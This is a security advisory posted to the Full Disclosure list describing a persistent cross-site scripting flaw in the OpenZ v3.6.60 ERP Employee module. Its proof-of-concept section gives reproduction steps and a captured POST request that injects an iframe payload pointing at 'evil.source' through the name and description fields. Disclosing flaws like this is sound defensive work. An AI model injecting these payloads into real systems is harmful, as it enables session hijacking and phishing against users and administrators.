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Date: Wed, 6 May 2020 23:38:03 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] OpenZ v3.6.60 ERP - Employee Persistent XSS Vulnerability

Document Title:
===============
OpenZ v3.6.60 ERP - Employee Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2234


Release Date:
=============
2020-05-06


Vulnerability Laboratory ID (VL-ID):
====================================
2234


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
OpenZ is a completely web-based enterprise resource planning system, or
ERP system for short, which was voted ERP System
of the Year in the Open Source category in 2014. The software offers a
completely scalable, dynamically adaptable
and easy-to-use range of functions and modules. OpenZ can be used to
control all business processes such as master data
maintenance, quotation, order and invoice creation, financial
accounting, controlling, project management, individual
and/or serial production with batch and serial number tracking. Complex
e-commerce requirements, material requirements
planning, supply chain optimization, as well as your own and special
processes for your company can be controlled within one
software - from anywhere in the world - independent of platform.

(Copy of the Homepage: https://www.openz.de/  &
https://www.openz.de/download.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
cross site vulnerability in the OpenZ v3.6.60 ERP web-application.


Affected Product(s):
====================
OpenZ
Product: OpenZ v3.6.60 - ERP (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered
in the official OpenZ v3.6.60 ERP web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `inpname` and
`inpdescripción` parameters of the `Employee` add/register/edit
module in the `menu.html` file. Remote attackers with low privileges are
able to inject own malicious persistent script code as
name or description. The injected code can be used to attack the
frontend or backend of the web-application. The request method
to inject is POST and the attack vector is located on the
application-side. The attack can be triggered from low privilege user
accounts against higher privilege user accounts like manager or
administrators to elevate privileges via session hijacking.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Employee

Vulnerable Input(s):
[+] Mitarbeiter Name
[+] Beschreibung

Vulnerable File(s):
[+] Menu.html

Vulnerable Parameter(s):
[+] inpname
[+] inpdescription


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web
application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the openz web-application
2. Register, add or edit via profile settings the inpname &
inpdescription parameter inputs
3. Edit inpname & inpdescription parameter of the profile and save the entry
Note: The execute occurs on preview of the user credentials in the
/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html
4. Successful reproduce of the persistent web vulnerability!



--- POC Session Logs [POST] --- (Inject via Add / Edit)
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html
Host: localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 1464
Origin: https://localhost:8080
Connection: keep-alive
Referer:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275
Command=SAVE_EDIT_RELATION&inpLastFieldChanged=inpdescription&inpkeyColumnIdInp=&inpParentKeyColumn=&inpDirectKey=&
inpKeyReferenceColumnName=&inpTableReferenceId=&inpKeyReferenceId=&autosave=N&inpnewdatasetindicator=&inpnewdataseIdVal=&
inpenabledautosave=Y&inpisemployee=Y&inpistaxexempt=N&inpadClientId=C726FEC915A54A0995C568555DA5BB3C&inpaAssetId=&
inpcGreetingId=&inpcBpartnerId=8BEB3E9FD5D24F9BBCF777A51D53F5AF&inpissummary=N&inprating=N&inpTableId=AC9B98C649CD4F55B37714008EE8519F&
inpkeyColumnId=C_BPartner_ID&inpKeyName=inpcBpartnerId&mappingName=/org.openbravo.zsoft.smartui.Employee/
EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html&inpwindowId=39D3CD9F77A942D690965D49106F011B&
inpTabId=A3D0B320B69845B386024B5FF6B1E266&inpCommandType=EDIT&updatedTimestamp=20200426170335&inpParentOrganization=&
inpadOrgId=1AF9E07685234E0A9FEC1D9B58A4876B&inpadImageId=&
inpvalue=325235&inpname=>"><iframe
src=evil.source><iframe></iframe></iframe>&
inpdescription=>"><iframe
src=evil.source><iframe></iframe></iframe>&inpimageurl=31337&
inpisactive=Y&inpisinresourceplan=Y&inpapprovalamt=0,00&inpcSalaryCategoryId=&inptaxid=&inpreferenceno=&
inpcBpGroupId=42691AE1D13F400AB814B70361E167C3&inpadLanguage=de_DE&inpcountry=Deutschland&inpzipcode=&
inpcity=&inpcreated=26-04-2020
17:03:35&inpcreatedby=Service&inpupdated=26-04-2020
17:03:35&inpupdatedby=Service
-
POST: HTTP/1.1 302 Found
Server: Apache/2.4.38 (Debian)
Location:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/EmployeeA3D0B320B69845B386024B5FF6B1E266_Relation.html?Command=RELATION
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
- (Execution in Listing)
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/evil.source
Host: myerponline.de
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/SalesRepVendor8BAE92BA22C14B1487EB2B247FA4A977_Edition.html
Cookie: JSESSIONID=0692EC25BA33001B002059E182BA1544;
_ga=GA1.2.403279990.1587913275; _gid=GA1.2.274268317.1587913275
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Debian)
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1110
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive


PoC: Vulnerable Source (/security/Menu.html)
<table width="0px" height="0px" cellspacing="0" cellpadding="0">
<tbody><tr>
<td><input type="text" class="DataGrid_Table_Dummy_Input"
id="grid_table_dummy_input"></td>
</tr>
</tbody></table>
<input type="hidden" name="inpcBpartnerId"
value="8BEB3E9FD5D24F9BBCF777A51D53F5AF" id="keyParent">
<div class="RelationInfoContainer">
<table class="RelationInfo">
<tbody><tr>
<td class="RelationInfoTitle" id="related_info_cont">Business Partner:</td>
<td class="RelationInfoContent" id="paramParentC_BPartner_ID">325235 -
&gt;"&gt;<iframe src="a"></TD>
</TR>


Reference(s):
https://localhost:8080/
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/
https://localhost:8080/openz/org.openbravo.zsoft.smartui.Employee/Employee


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
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any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
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incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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